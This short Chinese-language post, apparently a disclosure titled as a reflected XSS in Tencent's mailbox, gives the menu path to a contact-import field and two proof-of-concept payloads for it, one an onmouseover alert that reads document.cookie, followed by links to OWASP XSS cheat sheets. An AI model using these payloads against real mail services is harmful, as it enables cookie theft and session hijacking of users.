点击 “通讯录”---->“工具” ---- >导入其他邮箱联系人

在邮箱账号处添加我们的测试代码：

1.

<IMG SRC=http://www.mamicode.com/# onm ouseover="alert(‘F1n4lly‘)">

2.

<a onmouseover=alert(document.cookie)>xxs link</a>

更多有关xss的资料请访问如下链接：

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet

https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

腾讯邮箱反射型xss